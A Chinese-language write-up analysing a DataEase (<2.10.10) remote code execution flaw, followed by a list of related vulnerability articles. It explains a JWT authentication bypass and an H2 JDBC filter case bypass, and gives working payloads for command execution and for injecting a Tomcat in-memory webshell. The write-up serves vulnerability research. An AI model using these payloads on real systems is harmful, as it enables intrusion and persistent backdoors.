漏洞描述

DataEase 是一款开源的数据可视化分析工具,旨在帮助用户快速分析数据并洞察业务趋势,从而实现业务的改进与优化。

漏洞影响版本: DataEase < 2.10.10

漏洞详情: 在过滤H2 JDBC连接字符串时存在大小写绕过,攻击者可配合JWT鉴权逻辑缺陷,构造特定的JDBC连接字符串执行任意代码,造成前台远程代码执行。


环境搭建

下载一键安装包:

https://github.com/dataease/dataease/releases/download/v2.10.9/dataease-online-installer-v2.10.9-ce.tar.gz
  1. 解压并执行安装脚本

  2. 修改配置文件

    /opt/dataease2.0/docker-compose.yml

  • JAVA_DEBUG=true
  • 添加端口映射 5005:5005 开启调试模式
  1. 重启服务

    dectl restart

漏洞分析

https://github.com/dataease/dataease/commit/429f654733716bc0afc44c22effddcbede3c8de5

从这个commit里可以发现修复了两处地方:


JWT鉴权逻辑缺陷

位置: io.dataease.auth.filter.CommunityTokenFilter#doFilter

  1. 从请求头获取JWT:X-DE-TOKEN 获取jwt进行验证
  2. 验证异常处理: 验证异常后设置返回包但没有结束整个流程,会继续进入到 filterChain.doFilter
  3. 绕过条件: 如果单看这里的话实际上只要 X-DE-TOKEN 不为空即可通过权限校验流程

实际测试发现的问题:

第一个原因: 获取jwt的密钥是从jwt解析的uid然后通过uid获取用户密码再md5的值,如果获取的uid值不存在的话会直接异常,不会进入下面的异常,所以还是要一个存在的uid值。

第二个原因: TokenFilter过滤器也验证了 X-DE-TOKEN

位置: io.dataease.auth.filter.TokenFilter#doFilter

  • 仅验证了 X-DE-TOKEN 长度大于100
  • uid值不为空
  • 没有进行密钥验证

综合上述分析需要满足下列条件:

  • uid值需要为存在的值
  • X-DE-TOKEN 长度大于100
  • oid不需要都可以

官方安全公告:

https://github.com/dataease/dataease/security/advisories/GHSA-999m-jv2p-5h34

官方公告这里是填了oid的,其实可以不需要oid,随便写什么让生成的jwt长度大于100即可


H2 JDBC RCE大小写绕过分析

位置: io.dataease.datasource.type.H2#getJdbc

触发点:

  • /de2api/datasource/validate
  • /de2api/datasource/getSchema (POC一模一样)

直接登录后台即可发现这个功能点

不需要审计黑盒都可以测试出来,点击这两个功能即可构造出数据包。

绕过方法:

INIT 改为 INIt 即可绕过下面的过滤


漏洞利用

使用如下JDBC payload即可RCE:

jdbc:h2:mem:testdb;TRACE_LEVEL_SYSTEM_OUT=3;INIt=CREATE ALIAS EXEC AS 'String shellexec(String cmd) throws java.io.IOException {Runtime.getRuntime().exec(cmd)\;return "test"\;}'\;CALL EXEC ('touch /tmp/1')


内存马注入

最开始直接使用java-chains生成JDBCPayload发现不行,有两个原因:

1. JDK版本问题

DataEase2.10.9 JDK版本为21

2. Tomcat版本问题

使用的tomcat版本为10

折腾了一下最后使用如下JDBCPayload即可成功打入内存马(需注意转义问题):

jdbc:h2:mem:testdb;TRACE_LEVEL_SYSTEM_OUT=3;INIt=CREATE ALIAS AQWSSSAZ AS 'String shellexec(String abc) throws java.lang.Exception{byte[] standBytes=null\;String tomcatStr=""\;
java.lang.Class unsafeClass = java.lang.Class.forName("sun.misc.Unsafe")\;
java.lang.reflect.Field unsafeField = unsafeClass.getDeclaredField("theUnsafe")\;
unsafeField.setAccessible(true)\;
sun.misc.Unsafe unsafe = (sun.misc.Unsafe) unsafeField.get(null)\;
java.lang.Module module = java.lang.Object.class.getModule()\;
java.lang.Class cls = AQWSSSAZ.class\;
long offset = unsafe.objectFieldOffset(java.lang.Class.class.getDeclaredField("module"))\;
unsafe.getAndSetObject(cls, offset, module)\;
java.lang.reflect.Method defineClass = java.lang.ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, java.lang.Integer.TYPE, java.lang.Integer.TYPE)\;
defineClass.setAccessible(true)\;
byte[] bytecode = java.util.Base64.getDecoder().decode(tomcatStr)\;
java.lang.Class clazz = (java.lang.Class) defineClass.invoke(java.lang.Thread.currentThread().getContextClassLoader(), bytecode, 0, bytecode.length)\;
clazz.newInstance()\;return "test"\;}'\;CALL AQWSSSAZ('123')

tomcatStr使用jmg生成


本文仅供安全研究和学习使用,由于传播、利用此文档提供的信息而造成任何直接或间接的后果及损害,均由使用本人负责,公众号及文章作者不为此承担任何责任。

DataEase 远程代码执行漏洞分析的更多相关文章

  1. [转帖]Windows DHCPServer远程代码执行漏洞分析(CVE-2019-0626)

    Windows DHCPServer远程代码执行漏洞分析(CVE-2019-0626) ADLab2019-03-15共23605人围观 ,发现 4 个不明物体安全报告漏洞 https://www.f ...

  2. Spring框架的反序列化远程代码执行漏洞分析(转)

    欢迎和大家交流技术相关问题: 邮箱: jiangxinnju@163.com 博客园地址: http://www.cnblogs.com/jiangxinnju GitHub地址: https://g ...

  3. thinkphp5.0.22远程代码执行漏洞分析及复现

    虽然网上已经有几篇公开的漏洞分析文章,但都是针对5.1版本的,而且看起来都比较抽象:我没有深入分析5.1版本,但看了下网上分析5.1版本漏洞的文章,发现虽然POC都是一样的,但它们的漏洞触发原因是不同 ...

  4. CVE-2012-1876Microsoft Internet Explorer Col元素远程代码执行漏洞分析

    Microsoft Internet Explorer是微软Windows操作系统中默认捆绑的WEB浏览器.         Microsoft Internet Explorer 6至9版本中存在漏 ...

  5. CVE-2012-0003 Microsoft Windows Media Player ‘winmm.dll’ MIDI文件解析远程代码执行漏洞 分析

    [CNNVD]Microsoft Windows Media Player ‘winmm.dll’ MIDI文件解析远程代码执行漏洞(CNNVD-201201-110)    Microsoft Wi ...

  6. Nexus Repository Manager 3(CVE-2019-7238) 远程代码执行漏洞分析和复现

    0x00 漏洞背景 Nexus Repository Manager 3是一款软件仓库,可以用来存储和分发Maven,NuGET等软件源仓库.其3.14.0及之前版本中,存在一处基于OrientDB自 ...

  7. CVE-2018-7600 Drupal核心远程代码执行漏洞分析

    0x01 漏洞介绍 Drupal是一个开源内容管理系统(CMS),全球超过100万个网站(包括政府,电子零售,企业组织,金融机构等)使用.两周前,Drupal安全团队披露了一个非常关键的漏洞,编号CV ...

  8. CVE-2017-7269—IIS 6.0 WebDAV远程代码执行漏洞分析

    漏洞描述: 3月27日,在Windows 2003 R2上使用IIS 6.0 爆出了0Day漏洞(CVE-2017-7269),漏洞利用PoC开始流传,但糟糕的是这产品已经停止更新了.网上流传的poc ...

  9. Thinkphp5-0-X远程代码执行漏洞分析(2019-1-11)

    周五下午爆洞能不能让人们好好休个周末! 分析过程 本次漏洞关键位置:/thinkphp/library/think/Request.php,lines:501由图可以看到在method函数中引入了可控 ...

  10. phpMoadmin CVE-2015-2208 远程代码执行漏洞分析

    原文:http://www.thinkings.org/2015/03/05/cve-2015-2208-phpmoadmin-exec-vul.html phpMoAdmin 是一个用PHP 开发的 ...

随机推荐

  1. selenium IDE简单使用

    selenium IDE可理解为录制操作浏览器的过程,然后回放实现UI级的自动化 一,首先安装,本案例主要在谷歌浏览器上使用,所以用的是支持谷歌的IDE文件 下载,打开https://www.crx4 ...

  2. 开源项目YtyMark文本编辑器--UI界面相关功能(关于设计模式的实战运用)

    开源项目地址 GitHub 开源地址(YtyMark-java) 欢迎提交 PR.Issue.Star ️! 1. 简述 YtyMark-java项目分为两大模块: UI界面(ytyedit-mark ...

  3. python初学之random()模块

    ##python小脚本 random()是不能直接访问的,需要导入 random 模块,然后通过 random 静态对象调用该方法. random.random()用于生成 一个指定范围内的随机符点数 ...

  4. C#多线程编程精要:从用户线程到线程池的效能进化论

    1. 引言 在多线程编程中,线程是实现并发执行的核心.C#作为一种功能强大的现代编程语言,提供了丰富的线程管理机制,以支持开发者应对各种并发场景.不同的线程类型在功能.生命周期和适用场景上各有侧重.理 ...

  5. Java IO--实现文件的加密解密

    我们知道文件存储的方式在计算机当中是以字节的方式进行存储的,可以通过对文件字节的操作来实现文件的加密. 下面的例子是通过读取文件的字节,然后使字节中的每一位取反(1变0,0变1),再进行倒置,来实现加 ...

  6. 操作系统综合题之“按要求是个进程协调完成任务,补充完整下列程序,将编号①~⑩处空缺的内容填写(Buffer缓冲区问题-代码补充)”

    1.问题:假设某系统有四个进程.input1和input2进程负责从不同设备读取数据,分别表示为data1和data2,存放在缓冲区Buffer中,output1和output2进程负责从Buffer ...

  7. 时间工具之“Java8 LocalDate 根据给定的日期,获取该日期上一周的周一周日,以及TemporalAdjusters的API”

    一.场景 我们的周报需要获取该月的第一个周的星期一和星期日,用于计算该星期的功能业绩(如:上产品数量) 2022-04-25 00:00:00 到 2022-05-01 23:59:592022-05 ...

  8. codeup之统计同成绩学生人数

    Description 读入N名学生的成绩,将获得某一给定分数的学生人数输出. Input 测试输入包含若干测试用例,每个测试用例的格式为 第1行:N 第2行:N名学生的成绩,相邻两数字用一个空格间隔 ...

  9. windows安装node.js加配置淘宝镜像

    下载:https://nodejs.org/en/download/ 一路默认,或者选自己的路径,装好后打开cmd, 输入 node --version 显示版本. 是的,环境自己就配置好了! 配置淘 ...

  10. Redis的zset底层数据结构,为什么用跳跃表而不用红黑树?

       共同点:红黑树和跳表的插入.删除.查找以及迭代输出的时间复杂度是一样的. 跳表在区间查询的时候效率是高于红黑树的,它查找时,以O(logn)的时间复杂度定位到区间的起点,然后在原始链表往后遍历就 ...